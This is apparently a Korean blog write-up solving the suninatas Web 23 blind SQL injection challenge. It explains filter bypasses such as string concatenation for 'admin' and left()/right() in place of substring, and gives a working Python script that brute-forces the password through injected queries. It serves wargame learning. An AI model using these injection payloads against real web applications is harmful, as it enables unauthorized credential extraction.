write-up(web)/misc

[suninatas] WEB 23

chanchand 2023. 10. 27. 20:55
반응형

문제


 

Game 22

select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........

suninatas.com

 

 

문제풀이


이전문제와 비슷한 blind sql injection 문제이다.

admin 문자열을 입력할 수 없고, or, and 문자열이 사용가능하다.

 

- admin 문자열 우회 

char, 0x, hex가 필터링되어 다른 형식으로 문자열 우회가 불가하다.

'ad' + 'min' 와 같은 방식으로 우회가 가능하다.

 

- 비밀번호 길이

 

- 비밀번호 문자열

substring이 필터링되기 때문에 left, right, mid 함수를 사용해야 한다.

left 문자열은 필터링 되지 않는데 일정 길이가 넘어가면 필터링되어 No hack이 뜬다.

비밀번호의 첫번째 문자는 'v'이다.

이를 이용해서 짧은 문장으로 만들어서 비밀번호 문자열 찾기를 시도해야 한다.

 

'or+left(pw,1)={문자열}

위와 같이 시도하면 guest 아이디의 비밀번호와 admin 아이디의 비밀번호를 구별하지 못한다.

 

그래서 admin 비밀번호의 첫번째 문자열을 이용해서 아래와 같이 시도해야 한다.

'or+left(pw,2)='v{문자열}'

 

10번째 비밀번호부터 길이가 넘어가서 No hack이 뜨는데, 이는 right 함수를 이용해서 풀이하면 된다.

 

 

import requests
import string

pw_len = 0
for i in range(1, 20):
	url = f"http://suninatas.com/challenge/web23/web23.asp?id=ad'%2B'min'+and+len(pw)={i}+--+&pw=123"
	res = requests.get(url)
	if res.text.find("<font size=4 color=blue>") != -1:
		print(f"pw_len:{i}")
		break


pw = "v"
	
for i in range(2, 10):
	for j in range(33, 127):
		url = f"http://suninatas.com/challenge/web23/web23.asp?id='or+left(pw,{i})='{pw+chr(j)}'--&pw=123"
		res = requests.get(url)
		
		if res.text.find("<font size=4 color=blue>") != -1:
			pw += chr(j)
			break

pw2 = ""
for i in range(1, 4):
	for j in range(33, 127):
		url = f"http://suninatas.com/challenge/web23/web23.asp?id='or+right(pw,{i})='{chr(j)+pw2[::-1]}'--&pw=123"
		res = requests.get(url)
		
		if res.text.find("<font size=4 color=blue>") != -1:
			pw2 += chr(j)
			break

print(pw+pw2[::-1])

 

 

Auth 페이지에는 소문자로 입력해야 한다.

반응형

'write-up(web) > misc' 카테고리의 다른 글

[alert(1) to win] Warmup - Markdown (ing)  (0) 2023.11.28
[suninatas] WEB 22  (0) 2023.10.27
[suninatas] WEB 8  (1) 2023.10.26
[suninatas] WEB 7  (0) 2023.10.26
[suninatas] WEB 6  (0) 2023.10.26